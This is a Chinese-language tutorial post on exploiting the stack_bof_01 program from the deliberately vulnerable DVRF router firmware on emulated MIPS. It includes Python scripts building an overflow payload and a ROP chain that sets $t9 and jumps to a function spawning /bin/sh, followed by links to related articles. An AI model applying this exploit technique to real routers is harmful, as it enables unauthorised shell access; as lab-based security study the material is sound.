一步一步pwn路由器之栈溢出实战
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文以 DVRF 中的第一个漏洞程序 stack_bof_01
为例,在实战 MIPS
架构中栈溢出的简单利用。
正文
去github上面把 DVRF 下载下来,然后用 binwalk
解开
在 pwnable
目录下就是相应的示例程序
在解开的文件系统的根目录下使用 chroot
和 qemu
运行 程序:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat ./pwnable/Intro/input`"
使用了cat
命令读取文件作为命令行参数,传给目标程序,这样可以使我们输入一些不可见字符用于劫持程序流。
stack_bof_01
是一个很简单的栈溢出漏洞程序,它把用户从命令行传过去的参数直接使用 strcpy
拷贝到栈缓冲区,从而栈溢出。经过调试,输入204个字符后就可以覆盖到 ra
寄存器保存到栈栈上的值,进而可以控制 $pc
的值。
修改文件内容的 python
脚本如下
#!/usr/bin/python
padding = "O" * 204
payload = padding + "B"*4
with open("input", "wb") as f:
f.write(payload)
接下来就是考虑该如何利用的问题了。程序中包含了一个 执行 system("/bin/sh")
的函数 dat_shell
, 如果是在 x86
平台下的话,我们直接设置 $pc
寄存器到它的地址就可以了。在 MIPS
如果直接指过去或怎么样呢?我们试试
访问了非法内存,异常了。
原因在于,在 MIPS 中,函数内部会通过 $t9
寄存器和 $gp
寄存器来找数据,地址等。同时在 mips
的手册内默认 $t9
的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget
设置 $t9
, 然后再跳到 dat_shell
函数。
在libc 中可以找到这样一个gadgets
.text:00006B20 lw $t9, arg_0($sp)
.text:00006B24 jalr $t9
加上libc的基地址就行了。用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 got
表的函数指针,然后计算偏移得到 libc
的基地址。
所以我们现在的利用流程就是:
- 修改返回地址到
rop_gadget
, 设置$r9
为dat_shell
函数的地址 - 跳转到
dat_shell
函数,执行system
#!/usr/bin/python
padding = "O" * 204
gadget1 = "\x20\xbb\x6e\x76"
dat_shell_addr = "\x50\x09\x40" # Partial overwrite with little-endian arch
payload = padding + gadget1 + dat_shell_addr
with open("input", "wb") as f:
f.write(payload)
总结
学习到了
$t9
寄存器的重要作用以后再使用rop
调用函数时,要使用jalr $t9
类的gadgets
以保证进入函数后,$t9
的值为函数的起始地址,避免出错。使用ida反汇编mips程序时,它好像默认
$t9
的值为函数的起始地址,导致我们分析问题时造成困惑,pwndbg 和 radare2 就不会这样。
参考链接:
一步一步pwn路由器之栈溢出实战的更多相关文章
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- 一步一步pwn路由器之rop技术实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...
- 一步一步pwn路由器之uClibc中malloc&&free分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 栈溢出告一段落.本文介绍下 uClibc 中的 malloc 和 ...
- 一步一步pwn路由器之路由器环境修复&&rop技术分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务 ...
- 一步一步pwn路由器之环境搭建
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 正式进入路由器的世界了.感觉路由器这块就是固件提取,运行环境修复比 ...
- 一步一步pwn路由器之radare2使用全解
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 radare2 最近越来越流行,已经进入 github 前 25了 ...
- 一步一步pwn路由器之radare2使用实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前文讲了一些 radare2 的特性相关的操作方法.本文以一个 c ...
- 简单实例一步一步帮你搞清楚MVC3中的路由以及区域
我们都知道MVC 3 程序的所有请求都是先经过路由解析然后分配到特定的Controller 以及 Action 中的,为什么这些知识讲完了Controller Action Model 后再讲呢?这个 ...
- 【计算机网络】一步一步学习IP路由流程
TCP/IP协议簇是目前互联网应用最广的协议栈,谈到TCP/IP协议栈就不能不讲一讲IP路由的问题,因为在我们使用的网络通信中几乎每时每刻都在发生着IP路由的事件…….当你在网络世界中还是一位新手的时 ...
随机推荐
- java防范跨站脚本攻击(XSS)
网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加fi ...
- Django中的Cookie--实现登录
Django中的Cookie--实现登录 Django Cookie Cookie Cookie 是什么 保存在浏览器端的键值对,让服务器提取有用的信息. 为什么要有 Cookie 因为HTTP请求 ...
- 等价类计数问题(Polya定理和burnside引理)
零.约定: (置换等名词会在前置知识中有解释) \(1.\)在本文中,题目要求的染色方案等统称为"元素". \(2.\)两个元素严格相等我们记做"\(=\)", ...
- Hive0.13.1介绍及安装部署
一.简介 hive由Facebook开源用于解决海量结构化日志的数据统计.hive是基于Hadoop的一个数据仓库工具,是基于Hadoop之上的,文件是存储在HDFS上的,底层运行的是MR程序.hiv ...
- (转)MySQL高可用架构之MHA
MySQL高可用架构之MHA 原文:http://www.cnblogs.com/gomysql/p/3675429.html 简介: MHA(Master High Availability)目前 ...
- Linux下C++开发常用命令
本页面记录本人在Linux下进行C++开发时使用的常用命令,注意这里不包括比如ls,mv等linux命令,这里会持续更新.首先假设你只有一个源程序文件,叫vec.cpp,编译后的可执行程序叫vec(本 ...
- java中Filter过滤器处理中文乱码的方法
注意问题:在学习用selvert的过滤器filter处理中文乱码时,在filter配置初始化时用了utf-8处理中文乱码,而在提交的jsp页面中却用了gbk.虽然两种都可以出来中文乱码,但是却造成了处 ...
- PHP在 win7 64位 旗舰版 报错 Call to undefined function curl_init()
代码在ubuntu下无缝运行OK 转到我的win7 64位 期间 学习机上 报错: Call to undefined function curl_init() 因为用到curl 远程抓取数据. 所以 ...
- nginx设置开机自启动
每次启动nginx服务都需要到安装目录下的/sbin下面,感觉挺麻烦的. 下面介绍一下如何在Linux(CentOS)系统上,设置nginx开机自启动. 1 用脚本管理nginx服务 第一步:在/et ...
- 关系型数据库MySQL多实例
简介 MySQL数据库是一个中小型关系型数据库管理系统,软件开发者为瑞典MySQL AB公司.在2008年1月16号被Sun公司收购后Sun公司又被oracle公司收购.目前MySQL被广泛地应用在I ...